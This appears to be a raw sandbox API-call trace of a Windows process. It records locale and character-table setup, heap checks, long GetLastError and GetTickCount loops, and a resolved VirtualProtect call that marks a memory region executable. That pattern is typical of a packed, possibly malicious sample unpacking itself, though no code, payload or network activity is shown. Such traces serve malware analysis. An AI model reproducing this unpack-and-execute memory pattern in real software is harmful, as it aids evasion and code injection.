!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\鿝뮗퇅⊙, cchWideChar=256, lpMultiByteStr=0x19fb2c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0226.885] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1250) returned 1 [0226.885] HeapFree (in: hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1250 | out: hHeap=0xbc0000) returned 1 [0226.886] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1018) returned 1 [0226.886] HeapFree (in: hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1018 | out: hHeap=0xbc0000) returned 1 [0226.886] GetLastError () returned 0x0 [0226.886] SetLastError (dwErrCode=0x0) [0226.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0226.886] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x22c) returned 0xbc1018 [0226.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0xbc1040, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\⛝뮖텽⊙) returned 256 [0226.886] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\⛝뮖텽⊙, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0226.886] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x22c) returned 0xbc1250 [0226.887] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\揝몗털™᠌밐∀, cchSrc=256, lpDestStr=0xbc1278, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽\\\鿝뮗퇅⊙) returned 256 [0226.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽\\\鿝뮗퇅⊙, cchWideChar=256, lpMultiByteStr=0x19fa2c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0226.887] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1250) returned 1 [0226.887] HeapFree (in: hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1250 | out: hHeap=0xbc0000) returned 1 [0226.887] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1018) returned 1 [0226.887] HeapFree (in: hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1018 | out: hHeap=0xbc0000) returned 1 [0226.888] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x824) returned 0xbc1018 [0226.888] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.888] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x430ae0) returned 0x0 [0226.889] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.889] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.890] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.890] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.891] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.891] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.891] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.892] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.892] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc2c28) returned 1 [0226.892] GetLastError () returned 0x0 [0226.892] GetLastError () returned 0x0 [0226.892] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.893] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.894] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.895] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.896] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.898] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.899] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.900] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.901] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.902] GetLastError () returned 0x0 [0226.903] GetLastError () returned 0x0 [0226.903] GetLastError () returned 0x0 [0226.903] GetLastError () returned 0x0 [0229.570] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74f30000 [0229.570] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualProtect") returned 0x74f47a50 [0229.570] VirtualProtect (in: lpAddress=0x991e00, dwSize=0xf3f8, flNewProtect=0x40, lpflOldProtect=0x19dc94 | out: lpflOldProtect=0x19dc94*=0x4) returned 1 [0229.582] GetTickCount () returned 0xe93cad [0229.582] SetLastError (dwErrCode=0x0) [0229.582] GetTickCount () returned 0xe93cad [0229.582] SetLastError (dwErrCode=0x0) [0229.582] GetTickCount () returned 0xe93cad [0229.582] SetLastError (dwErrCode=0x0) [0229.582] GetTickCount () returned 0xe93cad [0229.582] SetLastError (dwErrCode=0x0) [0229.582] GetTickCount () returned 0xe93cad [0229.582] SetLastError (dwErrCode=0x0) [0229.582] GetTickCount () returned 0xe93cad [0229.582] SetLastError (dwErrCode=0x0) [0229.582] GetTickCount () returned 0xe93cad [0229.582] SetLastError (dwErrCode=0x0) [0229.582] GetTickCount () returned 0xe93cad [0229.582] SetLastError (dwErrCode=0x0) [0229.582] GetTickCount () returned 0xe93cad [0229.582] SetLastError (dwErrCode=0x0) [0229.582] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.583] GetTickCount () returned 0xe93cad [0229.583] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cad [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cad [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cad [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.584] SetLastError (dwErrCode=0x0) [0229.584] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.585] GetTickCount () returned 0xe93cbd [0229.585] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 